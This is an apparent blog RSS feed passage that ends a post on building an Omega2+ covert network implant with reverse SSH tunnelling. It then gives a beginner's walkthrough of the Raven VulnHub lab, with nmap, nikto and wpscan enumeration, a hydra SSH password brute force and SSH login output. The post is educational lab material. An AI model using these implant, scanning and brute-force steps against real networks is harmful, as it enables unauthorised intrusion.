./upper/etc/config/rpcd
./upper/etc/config/onion
./upper/etc/config/fstab
./upper/etc/config/ubootenv
.
.
.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now save the current configuration to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/config/fstab&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root@Omega-ABCD:~# block detect &amp;gt; /etc/config/fstab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Edit the file and change this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config &apos;mount&apos;
        option  target  &apos;/dev/mmcblk0p1&apos;
        option  uuid    &apos;e6052419-f5bc-4d92-8e04-04438b70d76a&apos;
        option  enabled &apos;0&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config &apos;mount&apos;
        option  target  &apos;/overlay&apos;
        option  uuid    &apos;e6052419-f5bc-4d92-8e04-04438b70d76a&apos;
        option  enabled &apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reboot the device. Log back in, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df -h&lt;/code&gt;, and you should now see that storage has increased:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;overlayfs:/overlay       27.6G     50.4M     26.2G   0% /
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;installing-additional-tools&quot;&gt;Installing additional tools&lt;/h2&gt;

&lt;p&gt;As a backdoor, you’ll want the Omega2+ to be able to connect back to your server when it gets plugged into the LAN perform scans and attacks.  You’ll probably want to start by installing tools such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap-ssl&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autossh&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3-pip&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These aren’t found in the Omega2 repository so you’ll need to enable the respositories they’re stored in. Edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/opkg/distfeeds.conf&lt;/code&gt; and uncomment the following repositories:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src/gz openwrt_core http://downloads.openwrt.org/releases/18.06-SNAPSHOT/targets/ramips/mt76x8/
src/gz openwrt_base http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/mipsel_24kc/b
src/gz openwrt_packages http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/mipsel_24
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Save the file and update:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root@Omega-ABCD:~# opkg update&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can now install tools like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap-ssl&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@Omega-ABCD:~# opkg install nmap-ssl
Installing nmap-ssl (7.70-1) to root...
Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/mipsel_24kc/packages/nmap-ssl_7.70-      1_mipsel_24kc.ipk
Multiple packages (libstdcpp and libstdcpp) providing same name marked HOLD or PREFER. Using latest.
Configuring nmap-ssl.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;, you’ll need to install three packages:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root@Omega-ABCD:~# opkg install git git-http ca-bundle&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;An index of all packages you can install with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;opkg&lt;/code&gt; can be found at &lt;a href=&quot;https://openwrt.org/packages/index/start&quot;&gt;https://openwrt.org/packages/index/start&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;testing-it&quot;&gt;Testing it&lt;/h2&gt;

&lt;p&gt;To test it, I plugged the Omega2+ to a power source and a router. Once it had powered on, I connected to it via WiFi and established a reverse SSH tunnel to my server. From my server, I created a SSH SOCKS5 proxy to the Omega2+, which allowed me to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxychains&lt;/code&gt; to scan the target LAN the Omega2+ was connected to.&lt;/p&gt;

&lt;p&gt;Here’s a scan of a Metasploitable instance running on my LAN:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2020-03-29/02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Not too shabby!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I put this thing together as a proof of concept that had the potential to perform like Hak5’s LAN Turtle and Shark Jack. While more testing is required, it appears to work the way it should. If you’d like an alternative to Hak5’s network implants, then give the Omega2+ a go. When you’re done using it as a network implant, you can always repurpose it for other &lt;a href=&quot;https://docs.onion.io/omega2-project-book-vol1/&quot;&gt;things&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sun, 29 Mar 2020 04:30:01 +0000</pubDate>
        <link>http://blog.techorganic.com/2020/03/29/the-omega2-as-a-network-implant/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2020/03/29/the-omega2-as-a-network-implant/</guid>
      </item>
    
      <item>
        <title>Raven hacking challenge</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://www.vulnhub.com/entry/raven-1,256/&quot;&gt;Raven&lt;/a&gt; is another boot2root challenge currently available for download at &lt;a href=&quot;https://vulnhub.com/&quot;&gt;VulnHub&lt;/a&gt;. One of the cool things about Raven is it’s actually kind of realistic and a fairly easy challenge, which makes it a great boot2root for learning how to hack. I had been wanting to do a sort of tutorial for beginners for a while now, and I think Raven is a good challenge to do this writeup on. So unlike my previous writeups where I just mention the tools or techniques I use to escalate to root privileges, I’ll spend more time in this one talking about my thought processes, and my failures. Just in case anyone thinks it takes me 5 minutes to solve these challenges, it doesn’t. There’s a lot of swearing, and red herrings along the way.&lt;/p&gt;

&lt;p&gt;According to Raven’s description, there are four flags to pick up. I’ve only found two, no idea where the other two are, but the focus of this tutorial will be to escalate to root privileges rather than hunting down flags. Also there’s more than one way to root this challenge. It turns out that the solution I came up with skipped a part of the challenge so I took the less scenic route.&lt;/p&gt;

&lt;p&gt;I’ll be using standard tools that are available in a stock Kali VM. I sometimes prefer to use scripts that I’ve custom written, but let’s keep this simple. So if you want to follow along, grab a copy of Kali Linux &lt;a href=&quot;https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/&quot;&gt;here&lt;/a&gt; and run it in either VirtualBox or VMware along with Raven.&lt;/p&gt;

&lt;p&gt;In the case of these boot2root challenges, the IP address of the target is usually not provided to us. By default, Kali and Raven will be running in their own virtualized subnet so the IP address for Raven won’t be hard to find. Some people use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt; for this, I prefer to just use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netdiscover&lt;/code&gt;. First I need to know what IP my Kali VM is on. I’ll use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ifconfig&lt;/code&gt; for that:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# ifconfig eth0
eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 192.168.206.132  netmask 255.255.255.0  broadcast 192.168.206.255
        inet6 fe80::20c:29ff:fe33:fb3e  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 00:0c:29:33:fb:3e  txqueuelen 1000  (Ethernet)
        RX packets 501  bytes 47915 (46.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 302  bytes 40976 (40.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s 192.168.206.132, which means I’m on the 192.168.206.0/24 network. Now I can pass that information to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netdiscover&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# netdiscover -r 192.168.206.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.206.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.206.2   00:50:56:f2:38:16      1      60  VMware, Inc.
 192.168.206.131 00:0c:29:fe:2e:e8      1      60  VMware, Inc.
 192.168.206.254 00:50:56:ed:ba:4c      1      60  VMware, Inc.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So four IP addresses have shown up. Of the four, 192.168.206.131 is the one assigned to Raven. With the target’s IP located, we can begin the enumeration phase. Before continuing, you should also add the IP address to your /etc/hosts. The reason for this is the target’s website breaks if it can’t resolve http://raven.local. I’m not sure why this wasn’t mentioned in Raven’s download page, but there it is. Just run this in Kali (making sure you substitute your Raven’s IP address):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# echo &quot;192.168.206.131 raven.local&quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can refer to the target as raven.local instead of by its IP address.&lt;/p&gt;

&lt;p&gt;Enumeration typically starts with figuring out what ports are running on the target. Open ports are tied to services running on the target, and if they happen to be poorly configured, or outdated, it may be possible to leverage that and exploit them in some way. The most popular tool for port scanning is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;. Since this is a boot2root challenge, I’ll go ahead and scan for all 65,534 TCP ports to be thorough. I’ll also go with more aggressive options for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nmap -sV -A -p- raven.local
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-08 23:28 EST
Nmap scan report for raven.local (192.168.206.131)
Host is up (0.00052s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38431/tcp  status
|_  100024  1          55843/udp  status
38431/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:FE:2E:E8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms raven.local (192.168.206.131)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt; has discovered at least four open ports. Out of the four, ports 22 (SSH) and 80 (HTTP) are good places to start. SSH because if we can find login credentials we can get a shell on the server. HTTP, because often times we may be able to discover additional information about what’s running on the server that can assist us in getting a shell. Enumeration is key, and web servers are a good source of information on discovering “hidden” files or directories, users in an organization, web applications that may be vulnerable, and so on.&lt;/p&gt;

&lt;p&gt;When I see a web server running, I usually fire up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nikto&lt;/code&gt;. Nikto will do some probing on the web server and look for juicy things that might be of interest to us.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nikto -host http://raven.local
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.206.131
+ Target Hostname:    raven.local
+ Target Port:        80
+ Start Time:         2018-11-08 23:29:52 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x41b3 0x5734482bdcb00
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use &apos;-C all&apos; to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Uncommon header &apos;link&apos; found, with contents: &amp;lt;http://raven.local/wordpress/index.php/wp-json/&amp;gt;; rel=&quot;https://api.w.org/&quot;
+ /wordpress/: A Wordpress installation was found.
+ 7445 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2018-11-08 23:30:03 (GMT-5) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nikto has reported on a few things that we can look into. Directories like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/img&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/manual&lt;/code&gt; are common for Apache installations, so those become a lower priority for me to investigate. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wordpress&lt;/code&gt; directory indicating a Wordpress installation is however interesting. Wordpress plugins tend to get outdated and may be vulnerable to a variety of things. On top of that, Wordpress has this behaviour in its login interface which allows us to enumerate existing user accounts.&lt;/p&gt;

&lt;p&gt;For enumerating Wordpress, I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wpscan&lt;/code&gt;. It performs a variety of things from examining the version of Wordpress and its plugins for any vulnerabilities, as well as attempting to enumerate and bruteforce user accounts it discovers. Before you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wpscan&lt;/code&gt;, you need to update its database:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# wpscan --update
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | &apos;_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the update completed, I pointed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wpscan&lt;/code&gt; to the target and waited for results:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# wpscan -u http://raven.local/wordpress -e
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | &apos;_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://raven.local/wordpress/
[+] Started: Thu Nov  8 23:39:37 2018

[+] Interesting header: LINK: &amp;lt;http://raven.local/wordpress/index.php/wp-json/&amp;gt;; rel=&quot;https://api.w.org/&quot;
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] XML-RPC Interface available under: http://raven.local/wordpress/xmlrpc.php   [HTTP 405]
[+] Found an RSS Feed: http://raven.local/wordpress/index.php/feed/   [HTTP 200]
[!] Detected 1 user from RSS feed:
+---------+
| Name    |
+---------+
| michael |
+---------+
[!] Includes directory has directory listing enabled: http://raven.local/wordpress/wp-includes/

[+] Enumerating WordPress version ...

[+] WordPress version 4.8.7 (Released on 2018-07-05) identified from meta generator, links opml

[+] WordPress theme in use: twentyseventeen - v1.3

[+] Name: twentyseventeen - v1.3
 |  Last updated: 2018-08-02T00:00:00.000Z
 |  Location: http://raven.local/wordpress/wp-content/themes/twentyseventeen/
 |  Readme: http://raven.local/wordpress/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
 |  Style URL: http://raven.local/wordpress/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...

   Time: 00:00:01 &amp;lt;==================================================================================================================&amp;gt; (1667 / 1667) 100.00% Time: 00:00:01

[+] No plugins found

[+] Enumerating installed themes (only ones with known vulnerabilities) ...

   Time: 00:00:00 &amp;lt;====================================================================================================================&amp;gt; (287 / 287) 100.00% Time: 00:00:00

[+] No themes found

[+] Enumerating timthumb files ...

   Time: 00:00:01 &amp;lt;==================================================================================================================&amp;gt; (2574 / 2574) 100.00% Time: 00:00:01

[+] No timthumb files found

[+] Enumerating usernames ...
[+] We identified the following 2 users:
    +----+---------+---------------+
    | ID | Login   | Name          |
    +----+---------+---------------+
    | 1  | michael | michae        |
    | 2  | steven  | Steven Seagul |
    +----+---------+---------------+

[+] Finished: Thu Nov  8 23:39:48 2018
[+] Elapsed time: 00:00:10
[+] Requests made: 4937
[+] Memory used: 64.414 MB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alright, lots of interesting information here. First, we’ve found the version of Wordpress being used, along with a couple of usernames &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michael&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steven&lt;/code&gt;. The default Wordpress login is usually in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wp-admin.php&lt;/code&gt;, so launch Firefox in Kali and point it to http://raven.local/wordpress/wp-login.php.&lt;/p&gt;

&lt;p&gt;Now here’s the part where I chased down the wrong path and lost some time. My initial thought was to see if I could bruteforce the passwords for both of these accounts. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wpscan&lt;/code&gt; has that option. I tried several wordlists including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockyou.txt&lt;/code&gt; (found in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/wordlists&lt;/code&gt; in Kali).&lt;/p&gt;

&lt;p&gt;When it became clear that it would take way too long to bruteforce the password, I decided to try a directory/file scan on the target using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dirbuster&lt;/code&gt;. It found a whole bunch of directories and files, but nothing that I could leverage or use to move forward.&lt;/p&gt;

&lt;p&gt;I then started going through the site manually, checking each page, looking at the HTML source for clues, but once again, nothing of interest stood out.&lt;/p&gt;

&lt;p&gt;At this point, I realized it may be time to move on to a different service. SSH on port 22 was the other interesting one identified by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;. Having the usernames &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michael&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steven&lt;/code&gt;, I wondered if I could perform a bruteforce attack on those instead against the SSH service. For that I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hydra&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I decided to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockyou.txt&lt;/code&gt; wordlist and just bruteforce each username one at a time. By default &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockyou.txt&lt;/code&gt; is gzip’d so you’ll need to unzip it first before you can use it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# gunzip /usr/share/wordlists/rockyou.txt.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hydra&lt;/code&gt; takes a variety of options. For SSH it’s important to increase the timing between requests, otherwise you start getting errors. The other options I’ll use will attempt to use the username as the password, verbose mode, logging the results to a file, and quitting once it finds the password.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# hydra -l michael -e nsr -V -o hydra.log -t8 -f ssh://raven.local
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-08 23:50:38
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://raven.local:22/
[ATTEMPT] target raven.local - login &quot;michael&quot; - pass &quot;michael&quot; - 1 of 3 [child 0] (0/0)
[ATTEMPT] target raven.local - login &quot;michael&quot; - pass &quot;&quot; - 2 of 3 [child 1] (0/0)
[ATTEMPT] target raven.local - login &quot;michael&quot; - pass &quot;leahcim&quot; - 3 of 3 [child 2] (0/0)
[22][ssh] host: raven.local   login: michael   password: michael
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-11-08 23:50:39
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After having wasted all the time trying to bruteforce Wordpress, it turned out that the password for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michael&lt;/code&gt; on SSH was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michael&lt;/code&gt;. So with the user credentials on hand, let’s log in:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# ssh michael@raven.local
Warning: Permanently added the ECDSA host key for IP address &apos;192.168.206.131&apos; to the list of known hosts.
michael@raven.local&apos;s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
michael@Raven:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great, I now had a foothold on the target. The process of enumeration starts all over again. The goal this time is to escalate our privileges to a higher user account, preferably to that of the root user. First let’s see what we can do with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michael&apos;s&lt;/code&gt; account:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;michael@Raven:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it looks like a standard user account that belongs to a variety of groups. One thing I usually check at this point, especially since I have the password, is to see if the user has &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt; privileges. This often means the user can run certain commands as the root user, and that’s usually a good way to escalate privileges.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;michael@Raven:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for michael:
Sorry, user michael may not run sudo on raven.
michael@Raven:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately in this case, that wasn’t happening. So the next steps I performed here were to look for additional users, check configuration files in /etc, and look at processes running on the system.&lt;/p&gt;

&lt;p&gt;With regards to users, there was one other user called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steven&lt;/code&gt;. This could be seen from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/steven&lt;/code&gt; directory, as well as simply listing the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt;. Steven’s home directory was empty and it was owned by root, so only root could write to it. I didn’t see anything of interest in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/&lt;/code&gt; that I could leverage at this time.&lt;/p&gt;

&lt;p&gt;I looked the processes running on the target next:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;michael@Raven:~$ ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        916  0.0 10.6 881656 52132 ?        Sl   15:03   0:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root -
.
.
.
root       1349  0.0  1.0  78224  5136 ?        S    15:53   0:00 sendmail: MTA: ./wA943ZqB000560 apc.olc.protection.outlook.com.: user open
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

